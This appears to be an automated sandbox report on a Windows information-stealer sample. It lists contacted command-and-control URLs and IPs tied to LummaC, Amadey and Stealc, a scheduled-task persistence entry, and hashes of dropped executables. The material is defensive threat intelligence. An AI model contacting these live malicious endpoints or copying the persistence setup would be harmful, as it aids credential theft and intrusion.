https://duckduckgo.com/ac/?q=	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/k	9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/api%	oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1680638733.0000000001305000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/5	9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpE	skotes.exe, 00000009.00000002.2703742850.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpF	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	oTZfvSwHTq.exe, 00000000.00000003.1576332953.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi	oTZfvSwHTq.exe, 00000000.00000003.1680399884.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1654730350.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpr	9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded/	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/ily	oTZfvSwHTq.exe, 00000000.00000003.1767773855.0000000001366000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpR	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/api	oTZfvSwHTq.exe, 00000000.00000003.1506800871.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1613408941.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1636643992.00000000012D3000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	oTZfvSwHTq.exe, 00000000.00000003.1575025168.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	oTZfvSwHTq.exe, 00000000.00000003.1575025168.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/X	9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt4	oTZfvSwHTq.exe, 00000000.00000003.1609431223.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php&	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiTU	oTZfvSwHTq.exe, 00000000.00000003.1613364961.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1614026191.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/apiCN	oTZfvSwHTq.exe, 00000000.00000003.1506800871.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php2	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/apil	oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpcodedR	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/86)	oTZfvSwHTq.exe, 00000000.00000003.1767773855.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/IL	oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://microsoft.co	oTZfvSwHTq.exe, 00000000.00000003.1613598374.0000000001305000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1680334402.0000000001341000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1613521771.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1613649231.000000000133F000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1506800871.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1654730350.0000000001340000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1506917035.0000000001305000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1636908531.000000000133F000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1636784015.0000000001305000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/ms	oTZfvSwHTq.exe, 00000000.00000003.1636458892.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/	oTZfvSwHTq.exe, 00000000.00000003.1506917035.0000000001305000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	oTZfvSwHTq.exe, 00000000.00000003.1575025168.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	oTZfvSwHTq.exe, 00000000.00000003.1575025168.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	oTZfvSwHTq.exe, 00000000.00000003.1576332953.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded=	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	oTZfvSwHTq.exe, 00000000.00000003.1575962763.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	oTZfvSwHTq.exe, 00000000.00000003.1609431223.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/p$(	oTZfvSwHTq.exe, 00000000.00000003.1636458892.0000000001366000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	oTZfvSwHTq.exe, oTZfvSwHTq.exe, 00000000.00000003.1767773855.000000000134C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpz	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	oTZfvSwHTq.exe, 00000000.00000003.1609431223.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	oTZfvSwHTq.exe, 00000000.00000003.1575025168.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	oTZfvSwHTq.exe, 00000000.00000003.1576332953.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	oTZfvSwHTq.exe, 00000000.00000003.1609431223.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	oTZfvSwHTq.exe, 00000000.00000003.1576332953.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpi	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpR~	9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B75000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206	9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpn	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpo	skotes.exe, 00000009.00000002.2703742850.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.165.185	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581214
Start date and time:	2024-12-27 08:39:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	oTZfvSwHTq.exe renamed because original name is a hash value
Original Sample Name:	8cb60f5681c5a681f60da6e2d7e589c0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/4@1/4
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, PID 4268 because there are no executed function
Execution Graph export aborted for target oTZfvSwHTq.exe, PID 3164 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:40:54	API Interceptor	64x Sleep call for process: oTZfvSwHTq.exe modified
02:42:02	API Interceptor	709x Sleep call for process: skotes.exe modified
08:41:34	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.165.185	zi042476Iv.exe	Get hash	malicious	LummaC	Browse
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse
	dEugughckk.exe	Get hash	malicious	LummaC	Browse
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	cqHMm0ykDG.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	b0ho5YYSdo.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	6wFwugeLNG.exe	Get hash	malicious	LummaC	Browse	172.67.135.139
	9mauyKC3JW.exe	Get hash	malicious	Unknown	Browse	172.67.153.243
	uUtgy7BbF1.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	172.67.175.134
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	104.21.62.151
	installer.bat	Get hash	malicious	Vidar	Browse	172.64.41.3
WHOLESALECONNECTIONSNL	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	8lOT1rXZp5.exe	Get hash	malicious	RedLine	Browse	172.67.165.185
	6wFwugeLNG.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	9mauyKC3JW.exe	Get hash	malicious	Unknown	Browse	172.67.165.185
	uUtgy7BbF1.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

Process:	C:\Users\user\Desktop\oTZfvSwHTq.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3273216
Entropy (8bit):	6.6304891753843656
Encrypted:	false
SSDEEP:	49152:dVi6gP774GTTHVhDAI3V7lTLZcfuxhtx91hA8y36gPQjh:dVi/P774GTTHVhUI3VB/muxhtXS36gP
MD5:	142A3931B0023BC4DF9E8F50E142616A
SHA1:	C9E6873D96C4D33201B394B1B4027ED85A55A593
SHA-256:	B828A420B62345944B3DA40233DBBCB624805D98F0E581246943FB7C41A9598B
SHA-512:	728BD8BFBD5D994A376F83E8FD291DDCB668A8EFE7F480650D2D145636D4F6D66D960E214345343D6CD3CCC23565F9DD8F728D342C4C4E55CA344E295ACBBF31
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.......2...@.................................W...k.............................1.............................h.1..................................................... . ............................@....rsrc...............................@....idata ............................@...xcljfhyk.@+......4+.................@...mqunepnm......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe

Download File

Process:	C:\Users\user\Desktop\oTZfvSwHTq.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5180416
Entropy (8bit):	5.572219658605412
Encrypted:	false
SSDEEP:	49152:uvrT7xNhLptuSMGCr5rqAQzyaS2bAMNmnF9IAP:OfNbltuSMGI5rq/7XbjNGfIA
MD5:	B0AFC3BE5CA9E3209B844F2CF69F0625
SHA1:	1ED980C5573F8397F73ABC0FE9C59D542763D826
SHA-256:	1ADBF12A222894FEF2869B84725CF2671311CC73246CA7476A6E0807E46B5EC7
SHA-512:	C5980EFCD27A04609F4C370E2ADC2F64288D30542ADE063D57442524B63738833F96C6C860FE5A7C4DEFAE95CCDAAB77C9AFA52D305EAF00ADED3CBC7BC49DEC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@..........................@O.....FjO...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...kosvbopd.@...$..@...$.............@...gvemugdt......O.......N.............@....taggant.0....O.."....N.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3273216
Entropy (8bit):	6.6304891753843656
Encrypted:	false
SSDEEP:	49152:dVi6gP774GTTHVhDAI3V7lTLZcfuxhtx91hA8y36gPQjh:dVi/P774GTTHVhUI3VB/muxhtXS36gP
MD5:	142A3931B0023BC4DF9E8F50E142616A
SHA1:	C9E6873D96C4D33201B394B1B4027ED85A55A593
SHA-256:	B828A420B62345944B3DA40233DBBCB624805D98F0E581246943FB7C41A9598B
SHA-512:	728BD8BFBD5D994A376F83E8FD291DDCB668A8EFE7F480650D2D145636D4F6D66D960E214345343D6CD3CCC23565F9DD8F728D342C4C4E55CA344E295ACBBF31
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.......2...@.................................W...k.............................1.............................h.1..................................................... . ............................@....rsrc...............................@....idata ............................@...xcljfhyk.@+......4+.................@...mqunepnm......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4593265649973572
Encrypted:	false
SSDEEP:	6:gddbX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lt8ut0:gddr7BQ1CGAFBZgtVzt0
MD5:	BB4435A486F87536E29B81F7349EFA44
SHA1:	B767EEE76A64F784CB36F32510DCE746402DD6A0
SHA-256:	0780AFC915E847825B5FDA2B3F5DD5535C76636C72052AAE72BB1178D9E314C2
SHA-512:	231619F605018F4BE18A72F36DFFF204F4F59FA8A58D4F2700B74A088C49BB5B0CE624718BBAB0E3AD6044752250D8F80C0E24890DBE1AB84CDD3D7C90210275
Malicious:	false
Reputation:	low
Preview:	....V.....O....$3.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0.................*.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948134858727971
